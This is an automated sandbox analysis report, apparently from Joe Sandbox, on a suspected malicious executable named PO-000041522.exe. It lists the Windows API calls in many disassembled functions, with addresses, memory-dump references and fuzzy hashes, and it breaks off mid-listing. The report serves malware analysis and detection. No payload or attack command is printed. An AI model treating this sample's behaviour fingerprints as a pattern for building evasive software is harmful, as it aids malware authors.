                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                • String ID:
                                                                                                • API String ID: 1814673581-0
                                                                                                • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                APIs
                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                • String ID:
                                                                                                • API String ID: 2833360925-0
                                                                                                • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                APIs
                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                • EndPath.GDI32(?), ref: 0044724E
                                                                                                • StrokePath.GDI32(?), ref: 0044725C
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                • String ID:
                                                                                                • API String ID: 372113273-0
                                                                                                • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                APIs
                                                                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Virtual
                                                                                                • String ID:
                                                                                                • API String ID: 4278518827-0
                                                                                                • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                APIs
                                                                                                • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                                • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                                • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CapsDevice$Release
                                                                                                • String ID:
                                                                                                • API String ID: 1035833867-0
                                                                                                • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                                • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                                APIs
                                                                                                • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                                • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                  • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                • String ID:
                                                                                                • API String ID: 3495660284-0
                                                                                                • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                APIs
                                                                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                • String ID:
                                                                                                • API String ID: 839392675-0
                                                                                                • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                APIs
                                                                                                • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\PO-000041522.exe,00000004), ref: 00436055
                                                                                                • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                • GetLastError.KERNEL32 ref: 00436081
                                                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                • String ID:
                                                                                                • API String ID: 1690418490-0
                                                                                                • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                APIs
                                                                                                  • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                                • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                                • CoUninitialize.OLE32 ref: 00475D71
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                • String ID: .lnk$HH
                                                                                                • API String ID: 886957087-3121654589
                                                                                                • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                                • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$Delete$InfoItem_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 1173514356-4108050209
                                                                                                • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$_wcslen
                                                                                                • String ID: ComboBox$ListBox
                                                                                                • API String ID: 763830540-1403004172
                                                                                                • Opcode ID: 83bec451950623930d8347a5fbb8002bec6975ec295685ac92396a82bf54c827
                                                                                                • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                • Opcode Fuzzy Hash: 83bec451950623930d8347a5fbb8002bec6975ec295685ac92396a82bf54c827
                                                                                                • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                                APIs
                                                                                                • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,771B2EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                  • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CurrentHandleProcess$Duplicate
                                                                                                • String ID: nul
                                                                                                • API String ID: 2124370227-2873401336
                                                                                                • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                APIs
                                                                                                • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,771B2EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                  • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CurrentHandleProcess$Duplicate
                                                                                                • String ID: nul
                                                                                                • API String ID: 2124370227-2873401336
                                                                                                • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                • String ID: SysAnimate32
                                                                                                • API String ID: 3529120543-1011021900
                                                                                                • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                APIs
                                                                                                • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Message$Peek$DispatchTranslate
                                                                                                • String ID: *.*
                                                                                                • API String ID: 1795658109-438819550
                                                                                                • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                                • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                                APIs
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                  • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                  • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                  • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
